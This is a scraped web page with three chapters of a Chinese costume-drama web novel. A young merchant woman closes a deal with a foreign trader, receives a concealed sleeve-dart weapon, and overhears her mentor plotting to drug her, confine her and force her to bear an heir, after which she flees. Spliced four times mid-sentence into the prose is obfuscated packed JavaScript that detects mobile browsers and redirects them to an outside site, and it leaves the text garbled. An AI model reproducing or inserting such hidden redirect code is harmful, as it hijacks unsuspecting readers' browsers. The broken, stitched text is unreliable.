偌大的庭院内，除了满园的萧萧落叶外什么都没有。 是他幻听了。 沈忘尘蹙着眉头回过神，才发觉手中还握着那半杯甜桃清茶。 “沈哥哥……”“沈哥哥？”“沈哥哥！” 少女温软乖巧的声音在脑海里一迭声一迭声地响起，沈忘尘蓦地想起白栖枝那张天真烂缦的白净小脸…… 不，她并非天真烂漫。 打从两人隔着府门遥遥相望那一眼时，沈忘尘就知她绝非善类。 少女站在府门外，一双黑白分明眼睛转也不转地盯着他看。她像是一位伪装成猎物的猎人，望着他，跟看食物似的盯着，看似卑顺胆怯，实际上浑身都是她想掩都掩不住的鬼气，如同一条刚结束冬眠的小蛇，仿佛随时都要择人而噬。 ——是同类啊。 沈忘尘在心底笑了笑。 打从第一眼开始，他就知道面前的这个少女绝非善类……也对，能独自一人从长平徒步行至淮安的人，怎么可能是个善类，分明就是她在像南曲班子在演，在利用这幅柔弱无辜的模样在扮可怜！ 倘若他沈忘尘是还吊着一口人气的鬼，那这孩子就是满身鬼气的人。 他是她的以后，她则是他的曾经。他们都是一类人，他们就活该在一起争斗。 抱着这种想法，沈忘尘竟亲手将那孩子迎入府中。事后，就连他自己都想不通自己究竟是为什么想要迎她入府，他想了许久，直到最后，他实在想不通，便只草草得出一个结论： 他想看看那孩子究竟想要做什么。 她说她是林家妻，那好，他便要看看，她这位林家妻究竟想要如何对付他这位早已与林听澜私定终身的“妻”，他想知道白栖枝究竟会如何与他斗得头破血流！ 出乎意料的是，这孩子似乎对他并没有敌意，甚至还在第二次见他的时候朝他蹲下来撒娇。 少女的脸蛋像是还没长成的水蜜桃，温热的、柔软的、绒乎乎的，恨不得让人想要多握在手里狠狠揉上两把。 这是沈忘尘第一次摸一个女孩子的脸。 昔日凭栏闻歌舞，那些舞姬艺伎也只是贴在他的身上朝他递酒樽，还从未有一个女子敢如此大胆，竟不由分说就将自己的脸塞进他手中向他示好。 可怜、可爱、可恨。 这是沈忘尘给白栖枝的六字评价，明明她方才与林听澜对簿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303581|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公堂时是那样的无知无畏，为何到他面前就装作一副乖软讨好的模样？她究竟藏得是什么心思？ 可在后头，他让芍药暗地里跟踪她的时候，却发现这孩子还真没什么坏心眼，甚至就连受委屈了都不吭一声，活像个小小的委屈受气包。 难道是他第一眼的时候看错了？ 不会的。 沈忘尘想，好歹他出生官宦人家，从小又需时常看人脸色才能勉强在府内苟活，他没道理会看错的。 可这孩子实在是太乖了。 除了对林听澜，她几乎从不释放任何恶意，甚至就连他故意重罚春花的时候，那孩子也只会跪在她面前乞求他放过人家，甚至不惜用自己母亲的遗物来换春花的卖身契，只求她能护住她。 这孩子实在是太乖了。 可她却又没那么乖，几天的观察下来，沈忘尘发现这孩子还是有点意思的：只要在必要处逼一逼她，她就总能给他一些意料之外的惊喜，就比如……面对林听澜。 她太像从前的他了，看起来面上温和，实际上心气儿高，脾气倔。她太像他了…… 那一天，沈忘尘对白栖枝起了一丝玩味。 他蓦地想到小姑娘对他说：她不要林听澜的爱，她要活。 好，那他倒要看看她想怎么活！ 只是这么想着，沈忘尘一边将白栖枝圈在身边教导着，一边又有意无意地在林听澜面前装作一副看重她的模样让林听澜吃醋，好叫林听澜越发地看不上她。 可以说，那孩子在最开始时吃的每一分苦，背后都有他沈忘尘的手笔。 事情的变化始于白栖枝的第一次“失踪”。 说是失踪，其实他一直让芍药暗地里跟踪她，他于芍药有救父之恩，他相信芍药不会辜负他的。 倘若白栖枝真的想要逃出府去，那芍药便是第一个将她捉回之人。 小姑娘逃不掉的…… 凭着这份想法，他假意与林听澜争吵，直到小姑娘回来。 她看起来水淋淋、冷冰冰的，像是冬日里浸泡在湖中不久的尸体，浑身上下都是冰霜。 也就是那天，沈忘尘一改对白栖枝的敌意，他知道这小姑娘今后必定是个不世出的人才，他就知道她会是他最好的传承者。 他要开始栽培她了。 他要把她变成这世界上的另一个自己了。 可是……真的要变么？ 难道这些年来，小姑娘对他的那些好，他真要一概不论么？ “忘尘？” 耳畔突然传来温柔的声响，沈忘尘不再出神，他看向面前的林听澜，浅浅一笑道： “回来了。” ——定下了。 白栖枝从来没想到生意还能这么爽快地定下。 按照她们中原人的习俗，定生意前必须要反复试探，反复掣肘，争取从对方口中夺出最大利益，狠狠咬下对方一块血肉才能作罢。 可面前这人似乎决定得太快了一些，快到甚至让她觉得他不是真心来和她做生意的。 “忽鲁谟斯大人。”白栖枝疑惑着开口，“您真的不再去别家看一看吗？” 101. 传说 白栖枝自知商户将客人往外推是大忌，可是，她实在是太好奇了。 淮安并非只有她这一家做这些小玩意儿，也并非只有她这一家做的精巧，她何故能让忽鲁谟斯一眼就认定这里，与她签下订货单子。 倘若他出去，去别的铺子里头看看，那他还会喜欢这香玉坊中的一切吗？ 他还会如此爽利地与她签下单子吗？ 白栖枝不是没有自知之明的人，她明白这些人能到这里，多半是因为林听澜的缘故，她自然也不想让忽鲁谟斯真的去别家商铺。 她恨不得忽鲁谟斯扔死这里才好。 白栖枝从不掩饰她的燃烧着欲望，熊熊烈火落在忽鲁谟斯眼中，反倒烧成了天边璀璨云霞。 “难道说，白老板希望我去别的商家订货吗？”他问道。 “自然不。”面对这个几乎与林听澜差不多大的西洋商人，白栖枝嫣然一笑，用近日来学得洋文回答道，“我只是觉得大人您这决定下得太过果断，果断到甚至有些令我觉得有些草率。虽然很冒昧，但是大人可否能容我问一句：大人究竟看上了香玉坊的什么，才会如此果断？” 她这一口洋文说得极为流利地道，清脆的语句从她那樱桃般的小嘴里蹦出来，宛若大珠小珠碎玉盘。 这让忽鲁谟斯很是惊喜。 早些年他随父入中原多次，后来父亲为了锻炼他便让他独自一人带上伙计进入中原购买瓷器茶叶，这十多年来，他还从未见过有几个中原老板会说他的家乡话，如今他听白栖枝如此言语，难免觉得分外亲切，亦可见此人为了这次洽谈，准备有多充足。 为了表达自己的诚意，忽鲁谟斯开口，讲起了自己的家乡话：“没想到白老板还会说我们国家的语言，实在是令人佩服。” 白栖枝温顺地垂下眼帘：“不敢，只是略懂皮毛。”她抬眸，看着忽鲁谟斯，眼尾眉梢都是浅淡的笑意，“看在大人家乡话的面子上，您可否为我解惑？” 忽鲁谟斯并不答她这点，他倾身上前半分，定定地看着白栖枝的眼。 四目相对间，白栖枝内心反倒镇定了几分，她看出来这人对她没恶意，基本不会出现之前她谈生意谈着谈着对面的手就会揽到她腰间的情况。 白栖枝自诩长得并不算好看，若是非要论上一二的话，那就是她在那些人眼里足够年轻——年轻到刚好能够被困在宅子里做姨娘。 好在她如今在忽鲁谟斯眼中看不到那些如饥似渴的眼神。 这位从西方远道而来的客人似乎并不像阿兄说得那么野蛮，至少现在如此。 面对他的注视，白栖枝并不畏惧，依旧坐在木案一侧好整以暇地看着他，没有半点惊慌。 “白小姐。”忽鲁谟斯开口道，“我想将您带回我的故乡，那边盛产一种名叫水仙的花卉，它是用来供奉江河女神阿邦的花，我觉得它像极了您这双水雾迷蒙的眼眸。我想将您带回去，想让您亲眼看一看那种花，您可愿随我回到故土？” 他这样一说，倒叫白栖枝失神了刹那，随即，她回过神来，看着忽鲁谟斯那双如茶水般绿得发棕的双眼，缓缓道：“大人的美意，栖枝心领了。只是，就像水仙花的根须离不开故土的水脉。”她不着痕迹地后仰半分，发间银簪垂下的珍珠流苏恰到好处隔开两人距离，“我们东方的草木也最是恋旧，哪怕移植到玉盆金盏里，终究会朝着故土的方向生长。更何况，栖枝自幼时便与一位青梅竹马的兄长早有婚约——我们大昭的儿女最讲信义，从小我的父母兄长就教诲我这一点——倘若栖枝真随您而去，岂不是就成了背信弃义之人？这让栖枝日后又如何面对父母兄长的教诲呢？” 说完，白栖枝将一旁早已备好的贽礼轻推入忽鲁谟斯的眼帘，温声道：“不过，我们淮安人最信''一期一会''的缘分，今日得遇大人这样的知音，这青白瓷粉盒权当是谢您赏识香玉坊的彩，还望大人笑纳。”她说话时袖口滑落半寸，露出手腕上一串紫红色的朱砂手串，衬得她玉腕越发纤细白腻，越发像是东方的白玉偶。 忽鲁谟斯目光在那抹红色上停留片刻，良久，他抚掌大笑：“白老板这般妙人，倒让我想起故乡一句谚语——拒绝玫瑰的园丁，往往种着更珍贵的花。既然白小姐留恋故土，那我也不好强求。只是方才，我听闻白老板的名字叫做‘栖枝’，对吗？” 白栖枝垂首应道：“是的，大人。” “栖枝……真是好名字啊。”忽鲁谟斯说，“我在来的路上，与一伙儿来自其他国度的商队攀谈过，正好听到过有关白老板名字的一些传说。” 白栖枝：“哦？” 忽鲁谟斯道：“在他们那边的传说中，也有着一个名为‘栖枝’的存在，但它不是人，而是一只巨鸟，别称席兹。传说，它上帝创造出来保护其它鸟类的神鸟，与陆地巨兽贝希摩斯和海洋巨兽利维坦齐名，分别代表陆、海、空三界的巨兽。据记载，栖枝的身体巨大，其翅膀展开可以遮蔽太阳。在世界末日到来时，栖枝、贝希摩斯和利维坦将被献为圣洁者的食物。[1]虽然，它在教会中是关于世界末日的重要象征，但我确认为，它无所畏惧，能够战胜一切困难，是当之无愧的是天空的守护者。而您，白老板，您敢于摆脱束缚，带领这香玉坊一众女子出来经商，在我眼中，您亦是这整个香玉坊的守护者，我相信您日后也会像传说中的那只巨鸟一样，不畏惧狂风与巨浪，成为一个厉害的人物。” 他说这番话时眼眸深邃，像是一个漩涡一样诱人深陷其中，片片表情最为真挚诚恳，白栖枝看了许久，方微微一笑道：“那栖枝就先谢过大人的祝福了。倘若大人当真没有什么异议，那我们便签字画押吧，大约三日后，我家户籍就会将货物装上大人的船只，请大人放心。” 她说话时，头上的珍珠流苏都跟着在灯火下隐隐颤动，忽鲁谟斯只听她忽然用中原话，薄唇轻喃道： “那栖枝便祝大人此行，风调雨顺、一路平安，前程似锦、万事胜意。” 市舶使被放出来的时候，事情都已经定下了。 他气得七窍生烟，恨不能一把火把所有人都烧死在里面——他不好，谁都别想好。 “哎，老兄。”一旁的蕃长心平气和地拍了拍他的肩，“在这儿好吃好喝的，为何要哭丧着一张脸？” 市舶使没兴致搭理他，干脆一耸肩。 蕃长被抖落了手却并不气恼，他笑眯眯地又将胳膊搭回市舶使的肩膀，紧紧勾着他的脖子，在他耳畔低声道：“老兄，也别太让兄弟难做，这事儿林老板早就在我这儿打点过，你说， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308513|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我收了人家的银子却不给人家干活儿，按你们中原的话来说，是不是太失礼了？” 市舶使急了：“那你也不能让白栖枝出这个风头啊！你知道她是谁的子嗣么！就敢，” 蕃长打断了他的话，说：“她是谁的孩子不重要，我问你，这订单是算在林家头上还是算在她白栖枝头上？” 市舶使张着的嘴抖了几下，没声了。 “哎，这就对嘛。”蕃长依旧是一副嬉皮笑脸的模样，声音却出奇的冷静，“要知道，不管她是谁，这一单都是算在林家头上，钱入得也是林家的府库，无论她再怎么折腾，这功绩都落不到她头上——不仅落不到她头上，甚至跟她半毛钱关系都没有——您又怕什么呢？更何况现如今林家并没有想暴露她身份的打算，只对外宣称她是林听澜的远方表妹，只要林家不说，谁又知道她是长平的那位白栖枝呢？” 市舶使静静地看着身旁这个狡猾的西洋商人，眼中却没有了方才的敌意。 蕃长也意识到了这一点，他拍了拍市舶使的肩：“所以说啊，老兄，这单子虽然明面上是她谈成的，但归根结底还是林家谈成，两者本质上并无区别，上头更也不会因为这点小事儿就追究到你身上，你又何必与自己过不去？不如咱们这次就顺水推舟卖林老板一个小小的人情，没准儿等日后，咱兄弟俩还能从他手里得点好处，多些买酒钱。你看如何？” 也是。市舶使暗暗地想，他太执着于白栖枝的身份，却忘了这笔生意真正的赢家始终是林家，订单上头落得也是林听澜的名字，又有谁会在意这笔单子究竟是谁谈成的呢？ 况且那白栖枝只是个毛都没长齐的小丫头，上头弄死她简直轻而易举，之所以留她到现在，没准儿是那位大人的意思，他又为何要当那个莽撞的破局人惹大人不快？ 这事就这样吧。只要风雨不浇到他头上，让他做什么都成啊！ “原来如此......”看着蕃长那双浅棕色的眼睛，市舶使干涩地开口，声音像是被砂纸磨过，“是我糊涂了。” 蕃长笑呵呵地松开钳制，替他抚平官服褶皱：“老兄明白就好。走，我那儿有新到的波斯葡萄酒，咱们......” 话音未落，楼梯处突然传来动静。 白栖枝和忽鲁谟斯缓缓走下。 两人看起来心情不错，她身后，忽鲁谟斯正用母语说着什么，惹得她眼唇轻笑，也用西洋话同他攀谈。 两人暂且作别，白栖枝想要送一送他。 “白老板留步。”忽鲁谟斯将手抚上心口，诚恳道，“虽然很可惜无法让您亲自去我的故乡见一见水仙，但没关系，等到我下次再来中原，定会亲手带一株水仙来见您，连同那本传说一起，期待我们下次见面。” 白栖枝闻言盈盈下拜。 两人又说了些市舶使听不懂的西洋话，忽鲁谟斯才踏出香玉坊这个是非之地。 市舶使与蕃长赶紧跟随上前。 在临走前，市舶使还是忍不住回头看了白栖枝一眼： 少女未成熟的身躯如同水磨过的豆腐，只需要人一指头就能被戳得稀碎软烂。 市舶使想：这样柔弱无骨的人，就算活在世上也承不住什么风浪。 ——他又有什么可担心的呢？ 102. 密谋 当西洋商队的驼铃声彻底消失在长街尽头，白栖枝松了口气，整个香玉坊立即爆发出如潮水般的欢呼声。 “小姐。”春花上前一步，同她耳语道，“郑老派人将东西给您送来了。” 两人转身来到坊内后院，只见一小厮模样的人正端着一个托盘，那托盘被红布覆盖着，隐隐能看见底下东西的形状。 “白老板。”见白栖枝缓缓走来，小厮上前将托盘递到面前，垂首恭敬道，“这是我师父奉命为您打造的梅花袖箭，请您过目。”说着，将红布揭开。 托盘里的东西轻巧如闺阁首饰，却隐隐泛着杀意：其通体以精钢打造，外层镀银，雕琢成梅花缠枝的纹样，五片纤薄的花瓣微微翘起，花蕊处嵌着一粒赤红玛瑙，轻轻一按，便会激发出致命的银针。袖箭内藏六支三寸长的细针，针尖淬了麻药，细如牛毛，破空无声。机关设在护腕内侧，只需手腕一翻，指尖在暗扣上一拨，毒针便会如落梅般飞射而出，令人防不胜防。 白栖枝倒是很喜欢这种精巧又能要人命的玩意儿。 “春花。” 她刚开口，春花便上前往那小厮手里塞了锭小小的碎银：“我家小姐很喜欢这东西，这是赏你和你家师父的。”她将托盘接过，“走吧。” 小厮甫一离开，白栖枝和春花便暴露了本性，兴奋又好奇地盯着托盘里的东西看。 “哇，小姐，这东西做得真精巧！还是您会看人识人，知道那郑老头擅长研究这种东西，特地请他来造，要不是您，估计他这整个秋天未必都能开得上张！” 她口中的郑老头本名郑霄，本不是淮安人，是三十年前流落到淮安的，从此便在淮安城内开了个小小的铁匠铺。这人没有右手，膝下又只有一个徒弟，还是出了名的烂酒鬼，格外不受人待见。由是，他的铁匠铺名声越下，整个淮安城内都没几个人爱找他打造东西，两人也经常入不敷出，都靠那个小徒弟平时出去在别地方做工才能勉强糊口。 春花真想不明白，为什么小姐会选择让他们家来打造袖箭，难道就因为初次见面那老酒鬼喝得烂醉揉着小姐的头夸她是个聪明秀气的乖女娃？ 正当她想破脑袋也没想明白时，白栖枝已经将东西藏在广袖之下，衬着她雪白的腕子，倒像是女儿家的一件饰物。 “小姐。”春花怕她第一次使用这东西伤了自己，想要开口阻止，却为时已晚。 “咻！” 箭矢破空的锐响远比预想中凌厉，银针出箭的刹那带起一股猎猎风声，从春花面前刮过，带动她鬓发都微微浮起，直到银针钉入木柱的尾翎仍在嗡嗡颤动后，她的额发才缓缓坠落。 春花霎那间屏住了呼吸。 一旁的白栖枝倒是一副无所谓的模样。 果然第一次使用还是不太适应。她默默地想。方才扣动机括时，腕上传来一丝细微的震颤，像是被蜂尾轻轻蛰了一记，然而当她低头看向袖箭，银制的梅花机关分毫未移，唯有腕间被衬里勒出了一道淡红印子——她系得太紧了。 “小姐……”春花不放心地看向白栖枝的手腕，一脸担忧，后者则回报以一个大大的微笑，“还好啦，虽然还不太会，但毕竟是一次不错的尝试，等我以后练练就不会伤到自己了。” 白栖枝深吸了口气，呼出，一脸自豪：“好了！今天单子也签好了，袖箭也做好了，真是双喜临门！眼下当务之急应该是给林听澜和沈哥哥报喜去，春花你就先在店里帮着素染姐打理一切，我就先回去啦，你们也不要忙太晚，过几日请大家吃饭哈。” 说完，她就拎着层层华服的下摆，像一只笨拙的小鸭子一样地噗叽噗叽地跑走了，甚至还因为衣摆太厚重而在跨入坊中时差点绊上一跤，随后又噗叽噗叽地跑走了。 小姐…… 看着白栖枝这幅娇憨可爱的模样，春花满脸担心。 她分明知道今天是个双喜临门的好日子，可为何自打早上出门，她的心就一直在不安地扑通扑通直跳呢？ 就好像—— 就好像小姐马上就要生出祸端一样。 扑通、扑通、扑通…… 扑通！扑通！扑通！ 白栖枝感觉自己的心真的跳的好快，好像她再不收敛自己这份满溢出来的开心，她的心脏就会爆开一样。 她真的好想好想把这件好事告诉给林听澜和沈哥哥，她觉得这样跑着实在是太慢了，她想要赶紧飞回去、快快飞回去！ “啊，白小姐。”看着白栖枝跑的头上珍珠坠子都要掉了，芍药一脸茫然，“小姐是有什么要紧的事吗？” 白栖枝兴奋地几乎不能自已：“芍药姐，我做成了！我居然真的做成了！我真的拿下那单子了！好顺利！” 芍药深知此事是因有林听澜在暗中运作才会如此顺利，但沈忘尘吩咐过，不能将这事儿在白栖枝面前说漏嘴，她便也勉强打起精神迎合道：“太好了，白小姐，大爷和沈公子知道的话一定会很开心。” “是的！”直到芍药姐一直是这幅淡淡的模样，白栖枝并不觉得有何异常。 一路上跑得实在是太渴了，她朝芍药讨了碗茶水，咕咚咕咚牛饮上好几大口，直到所有茶水都被喝了个干净，她才用手背擦去嘴边水渍，打了个水嗝儿。 袖箭？ 芍药看着白栖枝手腕银晃晃的东西蹙了蹙眉。 “这个！”白栖枝亮出袖里的梅花袖箭，高兴地主动解释道，“这是沈哥哥和林哥哥允许我打造的防身的小物件儿，有了它枝枝以后就不用担心会被坏人再次绑架啦！十分厉害！”说完，她喘了两口气，又急匆匆地提起裙摆道，“好啦芍药姐，我要去把这个好消息告诉给林听澜和沈哥哥了，等我回来聊喔！” “等一下……”芍药伸手，想要拉住白栖枝的衣袖，可那滑溜溜的绸缎却故意似得从她指缝儿里溜走。 芍药抓了个空。 等等，不要去，不要靠近主人，快走。 不要成为那孩子的阿母…… 芍药想要开口，只是白栖枝已然跑出好远，完全不会再听到她的声音。 芍药张嘴颤了颤，最后还是紧闭双唇垂眼继续添着自己的茶，那是原本准备用来一会儿迷晕白栖枝的茶。 她已经想要背叛主人告诉白小姐这一切了的祸端了，可是，那人不听。 她想：她已经告诫过了。 ——各人有各命。 白栖枝跑到院门外才发现这里并没有人留守伺候。 往常林听澜和沈哥哥谈话的时候，这边怎么也会站着两个小厮等候听命的，可今日居然一个人都没有，真是奇怪。 白栖枝放缓了脚步。 她欣喜难耐地理了理衣裳和发鬓，确定这一路并未将自己跑的太过风尘仆仆，才高兴地踏进了院子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是沈忘尘平生第一次用如此凶狠的语气同他说话，林听澜抬头，愕然地看向沈忘尘，却发现他眼中竟流露着他未曾察觉的疯魔。 他就听着沈忘尘疯癫道：“我知道你想说什么林听澜，但是你不要说，你要听我说——现如今何止是她离不开林家，林家更是离不开她！她居于林家已有两载，现如今林家上下你看看哪个人不喜欢她，哪个人不听她的话？ 你知道的，林听澜，那孩子是多么聪慧乖巧，你总说她一个小姑娘微不足道，可你现在出去看看，去北名大街看，你去看看现如今淮安上下哪位夫人没听过香玉坊和云青阁的鼎鼎大名？ 如果我没记错的话，她是从今年的初五开始接手香玉坊的吧？不过三季，她就已经将香玉坊的规模扩张至如此，甚至惹得其余店家皆眼红于她！ 林听澜，你知道这意味着什么吗？那孩子是个不世出的人才，只有她留在你身边林家才能真正坐稳淮安第一巨贾的名头，只有她能辅佐你！林听澜，事已至此，难道你还看不出吗？难道你还要装作什么都不懂吗？” 说到这儿，沈忘尘已几欲力竭，他剧烈地捂着心口咳嗽几声，咳的心肝脾肺都要从嗓子眼里吐出来，看得林听澜心头直跳。 良久，沈忘尘才喘匀这口气。 他眼尾微红，眼底泛着泪花，一瞬不瞬地紧盯着林听澜，末了，失神无力道： “更何况，她还是个女儿家……” 103. 争吵 “沈忘尘！” 林听澜究竟是恼了，他怒吼道，“我说过，我这辈子只想要你一个人，我可以没有子嗣，甚至百年以后，我都可以无人侍奉。但是沈忘尘，我不能没有你！我不能抛弃你去娶别人！我做不到！我不管你在想什么，无论你在想什么，我都做不到抛下你去娶一个我不爱的人！我不愿！” 他是如此愤怒，像是一只发了怒的狮子，可只是单纯的发怒也就罢了，偏他胸腔内满是闷痛与酸涩，这股钝痛无法发泄，滞留在身体里，仿佛要把他狠狠撕裂。 沈忘尘静静地看着他，良久，吐出一句：“可你到底是林家的大爷……” 林听澜呼吸一窒。 沈忘尘知他一时间还接受不了，便又拢过他发烫的手掌缓缓道： “阿澜，你不是旁的什么人，你是林家的大爷，你是林家唯一的子嗣，你必须有一个孩子来继承你的一切。可是，你知道的，我是个男人，男人不能受孕，更不能为你诞下子嗣。你需要个孩子来继承你的一切。可现如今，整个淮安境内人人都知你与我定下终身，试问还有哪个好人家的女儿愿意嫁你？哪个姑娘家愿为你诞下子嗣？这件事，你我难道不是都心知肚明吗？” “或许你会想着，日后随便找个女人让她受孕，然后去母留子，将那孩子培养成林家的继承人，让那孩子永远不知道自己的身世。可是阿澜，这世上哪有不透风的墙？你有没有想过，倘若你这样做，等那孩子长大后知道了一切，他会怎么看你？又会如何看我？自然，他恨我不要紧，可是阿澜，你是那孩子的亲生阿父，他能恨我却不能恨你啊！他可是林家的继承人啊！” 像是预料到未来即将发生的事，林听澜声音哑了一片。 他问：“那你说，忘尘，我该怎么办？” 屋内一片沉默。 良久，沈忘尘说：“你若让我说，那我只能告诉你，只有让白栖枝成为那孩子的阿母此局才可能破。” 眼见林听澜面露不解，沈忘尘解释道：“且不论别的，单论你与白栖枝的关系：你二人自幼便有婚约在身，甚至于她手中还留着与你的婚契，按理来说，她嫁给你是父母之命、媒妁之言，这本就是天经地义之事，旁人就算是想嚼舌根也无甚可说，此为其一。” “其二就是，她比任何人都好操纵。” 此话一出，林听澜看向沈忘尘的瞳仁都在颤抖。 沈忘尘镇定道：“且不论她那需要寻求林家庇护的身世，单说她的性子。现如今，她与我你交好，再加上她本就本性纯良，就算恨你我一辈子，她也不会做出什么出格的事。你与她往来甚少，不知她为人品性，可我却知道，她是一个有恩必报的好孩子，在林家的这两年我还于她有教养之恩，单论这点，她就不会加害与我，更不会加害于她有收留之恩的你。到时候你我在加以安抚，想必不过三年，她便会淡化对你我的仇恨，心甘情愿地待在林家为你相夫教子，当一个合格的林家主母，成功为你诞下林家的子嗣。” “阿澜，你要知道，在这世道，想你这样的大户人家为家里开枝散叶有多重要。等到那孩子降生，倘若枝枝不愿见他，那我便会亲自将他抚养长大，到时候他身上留着你的血脉，又有着我的教养，他就是你我二人的孩子！阿澜，难道你不想同我有个孩子吗？” “阿澜，听我一句劝吧，困住她，困住白栖枝，让她诞下你的孩子，到时候我们就再也不用受那些族老们异样的眼光了，不要手软，困住她吧。” “让她诞下林家的子嗣吧……” 院里秋风簌簌。 寒风穿过衣裳的缝隙，透过白栖枝的皮肤，渗入骨血，仿佛要将她整个人冻穿。 白栖枝几乎不敢相信自己的耳朵： 她、她听到了什么？ 她听到沈哥哥要困住她，要让林听澜强娶她然后…… 她要诞下林听澜的子嗣？ 脑子里轰然一响，白栖枝惊觉身体已经慢慢僵硬，一种侵入骨髓的阴冷渐渐渗透进身体，寒得她狠狠打了一个冷战，全身上下都冒出了一粒一粒鸡皮疙瘩。 不！ 不可以！ 她才不要嫁给林听澜！ 她才不要成为林家的主母！ 她才不要为林家诞下那孽根祸胎！ ——她要逃！！！ 脑海内骤然蹦出这个想法，白栖枝勉强挪动着自己几乎完全僵硬的四肢，转身默默离开这个是非之地。 她走得很谨慎，甚至连一片落叶都没有踩到，她生怕自己只要发出一丝声响就要被那两个阎罗抓去诞子。 白栖枝宁可这一切都是她的一场噩梦，她不明白沈忘尘为什么会说出那种话，他说的那样有条有理、有理有据，仿佛他从一开始就在布局着这一切等待她的落网。 难道都是假的吗？明明、明明之前他对她那么温柔、那么有耐心，甚至不惜一切余力地教她该如何经商，难道那些温情与爱惜都是假的吗？他对她……他对她真的一点点真感情都没有吗？ 不，现在不是想这个的时候！ 她要逃，她要快快地逃！ 她要才不要落入那两个魔鬼手中！ 她要为自己出逃！ “白小姐。”有丫鬟朝她行礼问好，白栖枝面上佯装镇定地朝她们点点头，仿若什么都没有发生过一般朝西厢房走去。 房间内，白栖枝甫一踏入就紧紧关上房门，涸辙之鲋般用脊背抵在房门上大口喘息。 可她也没时间喘息了。 白栖枝走到屋内，翻出那张她初见沈忘尘时拿着的那张婚契。 在那张婚契之下，是林父当年写给白家的欠条。 白栖枝只是看了一眼就将它们叠好，放在桌上，又翻箱倒柜地掏出那只宋长宴为她赎回来的阿娘的金镯子。 白栖枝看了一眼那只金镯，又看向自己腕上的朱砂红镯。 想当年，这只朱砂镯子还是她用第一次的收入买来的呢，她一直很珍惜，这么长时间来一直戴着，哪怕有些旧了、花了，都不曾褪去。 现如今，白栖枝看着这只她赚来的镯子，只觉得它与林家有着千丝万缕说不清道不明的关系，仿佛它不是一只朱砂手镯，而是林家带给她的镣铐，欲将她囚禁一生。 白栖枝想将它好好地拿下——毕竟是她最爱惜的东西，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322822|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想给它留个完整。 可当白栖枝想要将那镯子从手腕上褪下，却发现早已不能。 对比她年初的瘦小身板，如今的她已然养回来不少，手腕也比当年略略有了几分薄肉，那枚镯子就卡在她手腕处，无法拿出。 白栖枝静静地看着那只她爱了很久的朱砂手镯，随即，想也没想地走到面前的红木书案旁。 “咔嚓！” 腕骨分明的手腕猛猛撞击桌角，连带着白皙的皮肤都紫青一片。 那副她最爱惜的朱砂手镯就这样被硬生生磕碎，空荡荡的腕间须臾间又坠了一只细小金镯。 白栖枝没工夫心疼那堆领落在地上的碎片，她赶紧脱去层层华服，从衣柜里拿出最为朴素、方便出行的服装，又摘下满头琳琅，飞速拉开首饰盒—— 沈忘尘曾赠与她的那只玉兰花木簪正静静地躺在首饰盒内最显眼处。 一切都是假的吗？ 白栖枝只是略微伤神了一下，便从里面捡了根最为简朴的木簪将头发挽成干净利落的发髻，随后，又将婚契、欠条好好放在贴身处，快步离开房间、走出林府。 只是她不知，她所做的一切都早已被人看在眼里。 眼见白栖枝的背影渐走渐远，芍药垂下眼帘抿了抿嘴，转身回到灶房将那三盏茶水用木盘端起，随后走向沈忘尘的小院。 院内，林听澜和沈忘尘还在争论不休，听起来，在白栖枝走后他们似乎又大吵了一架，甚至比之前还要凶。 屋内一片狼藉，无论林听澜再说什么，沈忘尘都只是闭眼不肯答，直到—— “笃笃笃。” “沈公子，茶沏好了，要现在就送进去吗？” 芍药平淡的声音响起，沈忘尘才缓缓抬眸，哑着嗓子缓声道：“进来吧。” 门开，芍药应声而入。 有旁的人在，林听澜也不好再吵，气呼呼地站在一旁，怎么也不肯看沈忘尘。 芍药知趣地将茶水一一摆到桌上。 “阿澜，口渴了吧？来润润嗓子吧。”沈忘尘的声音依旧是一片柔情。 林听澜生气着不肯动。 芍药将原本留给白栖枝的茶水摆到林听澜那边。 “慢着。”沈忘尘开口，声音比方才更加温柔，“这一杯是留给枝枝的，一会儿叫她来喝吧。” 他就知道林听澜无论如何都不肯同意迎娶白栖枝，也知道白栖枝肯定不会乖乖就范。 所以，他打算用硬的。 他早就让芍药在白栖枝的那盏茶水里加了蒙汗药，只要白栖枝稍稍抿上一小口，就足以让她昏睡三日不醒。 